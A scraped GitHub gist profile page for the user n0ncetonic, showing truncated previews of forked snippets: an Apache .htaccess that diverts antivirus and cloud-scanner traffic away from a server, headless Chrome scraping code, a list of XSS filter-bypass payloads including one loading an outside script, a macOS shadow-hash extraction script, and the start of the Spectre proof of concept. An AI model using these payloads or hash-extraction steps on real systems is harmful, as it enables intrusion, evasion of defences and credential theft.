Skip to content

Instantly share code, notes, and snippets.

View n0ncetonic's full-sized avatar
🙃
Staring intensely at my macbook screen

noncetonic n0ncetonic

🙃
Staring intensely at my macbook screen
View GitHub Profile
@n0ncetonic
n0ncetonic / .htaccess
Created June 9, 2018 15:27 — forked from curi0usJack/.htaccess
Drop into your apache working directory to instantly redirect most AV crap elsewhere.
RewriteEngine On
# Uncomment the below line for verbose logging, including seeing which rule matched.
#LogLevel alert rewrite:trace5
# BURN AV BURN
# AWS Exclusions. Cloudfronted requests by default will have a UA of "Amazon Cloudfront". More info here: https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/header-caching.html#header-caching-web-device
RewriteCond expr "-R '54.0.0.0/8'" [OR]
RewriteCond expr "-R '52.0.0.0/8'" [OR]
#!/bin/bash
mkdir -p scripts
cat << EOF
#!/bin/bash
[[ $3 != "/" ]] && exit 0
/bin/launchctl load /Library/LaunchDaemons/com.acme.osqueryd.plist
package main
import (
"bufio"
"bytes"
"flag"
"fmt"
"io"
"log"
"os"
@n0ncetonic
n0ncetonic / headless-chrome.js
Created June 1, 2018 19:09 — forked from magician11/headless-chrome.js
How to grab the page source from any dynamically generated webpage and then process it .
const CDP = require('chrome-remote-interface');
const chromeLauncher = require('chrome-launcher');
const cheerio = require('cheerio');
(async function() {
const launchChrome = () =>
chromeLauncher.launch({ chromeFlags: ['--disable-gpu', '--headless'] });
const chrome = await launchChrome();
const protocol = await CDP({ port: chrome.port });
@n0ncetonic
n0ncetonic / headless-chrome.js
Created June 1, 2018 19:08 — forked from magician11/headless-chrome.js
How to grab the page source from any dynamically generated webpage and then process it .
const CDP = require('chrome-remote-interface');
const chromeLauncher = require('chrome-launcher');
const cheerio = require('cheerio');
(async function() {
const launchChrome = () =>
chromeLauncher.launch({ chromeFlags: ['--disable-gpu', '--headless'] });
const chrome = await launchChrome();
const protocol = await CDP({ port: chrome.port });
@n0ncetonic
n0ncetonic / xxsfilterbypass.lst
Created April 24, 2018 01:01 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>

Yet Another (Awesome) Golang Imports List

Compression Libraries

1.Brotli

Brotli is a generic-purpose lossless compression algorithm that compresses data ... with a compression ratio comparable to the best currently available general-purpose compression methods. It is similar in speed with deflate but offers more dense compression.

@n0ncetonic
n0ncetonic / pwdhash.sh
Created April 9, 2018 20:06 — forked from evilchili/pwdhash.sh
Trying to extract a PBKDF2-HMAC-SHA1 from user plist on mountain lion; failing. What am I missing?
#!/bin/sh
USER=$1
# get the shadow hash from the user entry
dscl . read /Users/$USER dsAttrTypeNative:ShadowHashData | tail -1 \
# remove everything but hex data and spaces
| tr -dc '0-9a-f ' \
@n0ncetonic
n0ncetonic / back_to_my_laptop.sh
Created April 9, 2018 20:05 — forked from evilchili/back_to_my_laptop.sh
redirect STDIN to a file on the host where your current SSH session originated. put it in your .bashrc!
# Example 1:
# laptop% ssh remotehost
# remotehost% uptime | laptop remote_uptime
# remotehost% exit
# laptop% cat remote_uptime
# 20:41:11 up 9 days, 4:02, 20 users, load average: 0.02, 0.01, 0.00
#
# In other words, it's like starting this:
# laptop% ssh remotehost uptime > remote_uptime
@n0ncetonic
n0ncetonic / spectre.c
Created January 10, 2018 21:31 — forked from ErikAugust/spectre.c
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif